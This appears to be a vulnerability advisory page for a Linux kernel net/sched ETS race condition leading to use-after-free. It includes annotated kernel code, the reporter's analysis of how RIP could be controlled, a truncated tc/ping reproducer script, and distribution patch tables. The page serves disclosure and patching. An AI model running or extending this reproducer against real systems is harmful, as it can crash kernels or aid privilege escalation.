In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
[email protected] says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by [email protected])
``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | — | Upgrade kernel-64k-debug-modulesUpgrade kernel-rt-64k-develUpgrade kernel-zfcpdump-develUpgrade kernel-64k-debug-develUpgrade kernel-debug-coreUpgrade kernel-debug-modulesUpgrade kernel-debugUpgrade kernel-debug-modules-coreUpgrade kernel-64k-debug-modules-coreUpgrade kernel-uki-virtUpgrade kernel-64k-modules-extraUpgrade kernel-64k-modulesUpgrade kernel-64kUpgrade kernel-rt-64k-coreUpgrade kernel-rt-debug-modules-coreUpgrade kernel-rt-64k-debug-modules-coreUpgrade kernel-rt-64k-debug-modules-extraUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-debug-develUpgrade kernel-64k-develUpgrade kernel-debug-uki-virtUpgrade rtlaUpgrade kernel-coreUpgrade bpftoolUpgrade kernel-rt-debug-modulesUpgrade kernel-rt-debug-coreUpgrade kernel-develUpgrade python3-perfUpgrade kernel-zfcpdumpUpgrade kernel-64k-modules-coreUpgrade kernel-modulesUpgrade kernel-rt-modulesUpgrade kernel-rt-debugUpgrade kernel-modules-extraUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-rt-develUpgrade kernel-tools-libsUpgrade kernel-rt-debug-develUpgrade kernel-rt-64k-debugUpgrade kernel-rt-coreUpgrade kernel-docUpgrade kernel-zfcpdump-modulesUpgrade kernel-tools-libs-develUpgrade kernel-64k-debug-coreUpgrade kernel-64k-debug-devel-matchedUpgrade kernel-modules-coreUpgrade kernel-rtUpgrade kernel-rt-modules-coreUpgrade kernel-cross-headersUpgrade rvUpgrade kernel-rt-64k-debug-develUpgrade kernel-rt-64k-debug-coreUpgrade kernel-abi-stablelistsUpgrade kernel-rt-debug-modules-extraUpgrade kernel-rt-64k-modulesUpgrade kernel-devel-matchedUpgrade kernel-uki-virt-addonsUpgrade kernel-64k-debugUpgrade kernelUpgrade kernel-64k-debug-modules-extraUpgrade kernel-64k-devel-matchedUpgrade perfUpgrade kernel-rt-64kUpgrade kernel-rt-64k-modules-extraUpgrade kernel-debug-modules-extraUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-debug-devel-matchedUpgrade kernel-rt-modules-extraUpgrade kernel-zfcpdump-coreUpgrade kernel-toolsUpgrade kernel-rt-64k-modules-coreUpgrade kernel-headersUpgrade kernel-rt-64k-debug-modulesUpgrade libperfUpgrade kernel-64k-core | Jul 12, 2026 | Jul 9, 2026 |
| Debian | — | Upgrade linuxUpgrade linux-6.1 | Feb 11, 2026 | Feb 11, 2026 |
| Oracle_linux | — | Upgrade kernel-uek | Feb 24, 2026 | Jan 13, 2026 |
| Redhat_linux | — | Upgrade kernelNo solution existsUpgrade kernel-rt | Jul 10, 2026 | Jan 13, 2026 |
| Rocky_linux | — | Upgrade kernel-tools-libs-develUpgrade kernel-uki-virt-addonsUpgrade kernel-debug-modules-extraUpgrade python3-perfUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-rt-debug-coreUpgrade kernel-zfcpdump-modulesUpgrade libperf-debuginfoUpgrade kernel-rt-debuginfoUpgrade kernel-rt-modules-coreUpgrade kernel-zfcpdump-coreUpgrade kernelUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-rt-modules-extraUpgrade kernel-debug-devel-matchedUpgrade libperfUpgrade rvUpgrade kernel-zfcpdump-debuginfoUpgrade kernel-devel-matchedUpgrade kernel-debuginfo-common-s390xUpgrade perfUpgrade kernel-rtUpgrade kernel-toolsUpgrade kernel-zfcpdump-develUpgrade kernel-debuginfoUpgrade kernel-zfcpdumpUpgrade kernel-coreUpgrade rtlaUpgrade kernel-debug-coreUpgrade python3-perf-debuginfoUpgrade kernel-rt-debug-develUpgrade kernel-rt-debug-debuginfoUpgrade kernel-rt-debug-modulesUpgrade kernel-modules-coreUpgrade kernel-rt-debugUpgrade kernel-tools-debuginfoUpgrade kernel-modulesUpgrade kernel-debug-modules-coreUpgrade perf-debuginfoUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-tools-libsUpgrade kernel-modules-extra-matchedUpgrade kernel-debug-uki-virtUpgrade kernel-debug-modulesUpgrade kernel-develUpgrade kernel-debug-develUpgrade kernel-rt-develUpgrade kernel-rt-coreUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-uki-virtUpgrade kernel-rt-debug-modules-coreUpgrade kernel-debug-debuginfoUpgrade kernel-rt-modulesUpgrade kernel-rt-debug-modules-extraUpgrade kernel-modules-extraUpgrade kernel-debug | Jul 13, 2026 | Jul 11, 2026 |
| Ubuntu | — | Upgrade linux-image-6.8.0-1052-raspiUpgrade linux-image-raspi-6.17Upgrade linux-image-aws-fipsUpgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-gcp-6.17Upgrade linux-image-6.17.0-1011-oracleUpgrade linux-image-gcp-5.15Upgrade linux-image-6.17.0-22-generic-64kUpgrade linux-image-5.15.0-1067-xilinx-zynqmpUpgrade linux-image-6.8.0-1052-aws-fipsUpgrade linux-image-lowlatency-5.15Upgrade linux-image-6.8.0-1054-gcp-fipsUpgrade linux-image-5.15.0-1098-nvidia-lowlatencyUpgrade linux-image-oracle-6.17Upgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-6.17.0-1012-gcp-64kUpgrade linux-image-5.15.0-1044-nvidia-tegra-igx-rtUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-azure-cvmUpgrade linux-image-realtimeUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-gkeop-5.15Upgrade linux-image-raspi-nolpaeUpgrade linux-image-generic-hwe-20.04Upgrade linux-image-lowlatency-64k-5.15Upgrade linux-image-nvidia-tegra-rtUpgrade linux-image-gcp-6.8Upgrade linux-image-6.17.0-1012-aws-64kUpgrade linux-image-5.15.0-173-fipsUpgrade linux-image-generic-64k-6.8Upgrade linux-image-generic-5.15Upgrade linux-image-fips-6.8Upgrade linux-image-aws-lts-24.04Upgrade linux-image-5.15.0-173-generic-lpaeUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-oracleUpgrade linux-image-oracle-6.8Upgrade linux-image-virtual-5.15Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-oracle-64k-6.17Upgrade linux-image-oem-24.04bUpgrade linux-image-5.15.0-1098-intel-iotgUpgrade linux-image-5.15.0-1103-awsUpgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-xilinx-zynqmp-5.15Upgrade linux-image-5.15.0-1095-kvmUpgrade linux-image-6.8.0-1059-azureUpgrade linux-image-aws-64kUpgrade linux-image-azure-fips-6.8Upgrade linux-image-6.8.0-110-generic-64kUpgrade linux-image-fips-5.15Upgrade linux-image-virtualUpgrade linux-image-oem-24.04cUpgrade linux-image-aws-64k-6.8Upgrade linux-image-gcp-64k-6.17Upgrade linux-image-5.15.0-1102-realtimeUpgrade linux-image-5.15.0-1103-gcp-fipsUpgrade linux-image-gcp-64k-6.8Upgrade linux-image-oem-22.04bUpgrade linux-image-gkeUpgrade linux-image-6.8.0-110-fipsUpgrade linux-image-aws-5.15Upgrade linux-image-6.8.0-1050-gke-64kUpgrade linux-image-nvidia-6.8Upgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-kvmUpgrade linux-image-6.8.0-1051-nvidia-64kUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-6.17.0-1011-oracle-64kUpgrade linux-image-oem-20.04dUpgrade linux-image-aws-64k-5.15Upgrade linux-image-oem-22.04dUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-nvidia-lowlatency-5.15Upgrade linux-image-6.8.0-1054-azure-fipsUpgrade linux-image-6.8.1-1047-realtimeUpgrade linux-image-6.8.0-1051-nvidiaUpgrade linux-image-azure-fipsUpgrade linux-image-oem-20.04Upgrade linux-image-5.15.0-1103-gcpUpgrade linux-image-6.17.0-1013-azureUpgrade linux-image-gcp-lts-24.04Upgrade linux-image-generic-hwe-24.04Upgrade linux-image-intel-iot-realtime-5.15Upgrade linux-image-6.8.0-1049-oracle-64kUpgrade linux-image-lowlatency-6.8Upgrade linux-image-oem-6.17Upgrade linux-image-nvidia-tegra-igxUpgrade linux-image-aws-fips-6.8Upgrade linux-image-5.15.0-1110-azureUpgrade linux-image-6.8.0-1051-ibmUpgrade linux-image-awsUpgrade linux-image-aws-64k-lts-22.04Upgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-generic-hwe-22.04Upgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-ibmUpgrade linux-image-nvidia-tegra-igx-5.15Upgrade linux-image-lowlatency-64kUpgrade linux-image-oem-24.04dUpgrade linux-image-5.15.0-1055-nvidia-tegra-rtUpgrade linux-image-xilinx-6.8Upgrade linux-image-oem-22.04cUpgrade linux-image-gkeopUpgrade linux-image-nvidia-tegraUpgrade linux-image-intel-iotgUpgrade linux-image-intelUpgrade linux-image-realtime-5.15Upgrade linux-image-gcp-fips-6.8Upgrade linux-image-lowlatencyUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-intel-iotg-5.15Upgrade linux-image-nvidiaUpgrade linux-image-gcp-fips-5.15Upgrade linux-image-gcp-64kUpgrade linux-image-azure-6.17Upgrade linux-image-oracle-5.15Upgrade linux-image-oracle-lts-24.04Upgrade linux-image-oem-22.04Upgrade linux-image-nvidia-5.15Upgrade linux-image-6.8.0-110-lowlatencyUpgrade linux-image-6.8.0-1052-awsUpgrade linux-image-gke-5.15Upgrade linux-image-nvidia-lowlatencyUpgrade linux-image-oracle-64k-6.8Upgrade linux-image-nvidia-lowlatency-6.8Upgrade linux-image-generic-lpae-5.15Upgrade linux-image-5.15.0-1094-intel-iot-realtimeUpgrade linux-image-xilinxUpgrade linux-image-gke-64kUpgrade linux-image-oracle-64kUpgrade linux-image-nvidia-tegra-igx-rt-5.15Upgrade linux-image-generic-64k-5.15Upgrade linux-image-oem-24.04aUpgrade linux-image-gcpUpgrade linux-image-azure-6.8Upgrade linux-image-6.8.0-1054-azureUpgrade linux-image-6.8.0-1052-aws-64kUpgrade linux-image-6.8.0-1051-nvidia-lowlatency-64kUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-realtime-6.8.1Upgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-6.8.0-1051-nvidia-lowlatencyUpgrade linux-image-azure-5.15Upgrade linux-image-5.15.0-1098-nvidiaUpgrade linux-image-gkeop-6.8Upgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-generic-64k-6.17Upgrade linux-image-azure-fips-5.15Upgrade linux-image-aws-fips-5.15Upgrade linux-image-6.8.0-1054-gcpUpgrade linux-image-6.17.0-1012-gcpUpgrade linux-image-5.15.0-1097-ibmUpgrade linux-image-virtual-6.17Upgrade linux-image-oem-24.04Upgrade linux-image-oem-22.04aUpgrade linux-image-oem-20.04cUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-nvidia-64kUpgrade linux-image-realtime-6.17Upgrade linux-image-5.15.0-1099-gkeUpgrade linux-image-6.8.0-1022-nvidia-tegra-rtUpgrade linux-image-6.8.0-1022-nvidia-tegraUpgrade linux-image-6.17.0-22-genericUpgrade linux-image-5.15.0-173-lowlatencyUpgrade linux-image-5.15.0-173-generic-64kUpgrade linux-image-5.15.0-1103-aws-64kUpgrade linux-image-5.15.0-1097-raspiUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-virtual-hwe-20.04Upgrade linux-image-raspi-realtime-6.8Upgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-ibm-classicUpgrade linux-image-gke-64k-6.8Upgrade linux-image-gke-6.8Upgrade linux-image-genericUpgrade linux-image-6.8.0-1037-gkeopUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-generic-6.8Upgrade linux-image-kvm-5.15Upgrade linux-image-6.8.0-2042-raspi-realtimeUpgrade linux-image-aws-6.8Upgrade linux-image-6.8.0-1029-xilinxUpgrade linux-image-aws-6.17Upgrade linux-image-5.15.0-1044-nvidia-tegra-igxUpgrade linux-image-raspi-6.8Upgrade linux-image-raspi-5.15Upgrade linux-image-6.8.0-110-lowlatency-64kUpgrade linux-image-6.8.0-1049-oracleUpgrade linux-image-6.17.0-1012-awsUpgrade linux-image-5.15.0-173-lowlatency-64kUpgrade linux-image-generic-64kUpgrade linux-image-generic-6.17Upgrade linux-image-azureUpgrade linux-image-aws-lts-22.04Upgrade linux-image-5.15.0-1086-gkeopUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-6.8.0-110-genericUpgrade linux-image-6.17.0-1020-oemUpgrade linux-image-ibm-6.8Upgrade linux-image-generic-lpaeUpgrade linux-image-fipsUpgrade linux-image-azure-lts-24.04Upgrade linux-image-raspi-realtimeUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-ibm-5.15Upgrade linux-image-azure-lts-22.04Upgrade linux-image-6.17.0-1014-raspiUpgrade linux-image-5.15.0-1103-aws-fipsUpgrade linux-image-virtual-6.8Upgrade linux-image-realtime-hwe-22.04Upgrade linux-image-raspiUpgrade linux-image-oem-20.04bUpgrade linux-image-nvidia-tegra-rt-5.15Upgrade linux-image-nvidia-tegra-5.15Upgrade linux-image-5.15.0-1055-nvidia-tegraUpgrade linux-image-6.8.0-1054-gcp-64kUpgrade linux-image-5.15.0-173-genericUpgrade linux-image-gcp-fipsUpgrade linux-image-aws-64k-6.17Upgrade linux-image-6.8.0-1050-gkeUpgrade linux-image-5.15.0-1109-azure-fipsUpgrade linux-image-6.17.0-1010-realtimeUpgrade linux-image-5.15.0-1100-oracleUpgrade linux-image-5.15.0-1109-azure | Mar 17, 2026 | Jan 13, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | May 27, 2026 | Jan 13, 2026 |
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub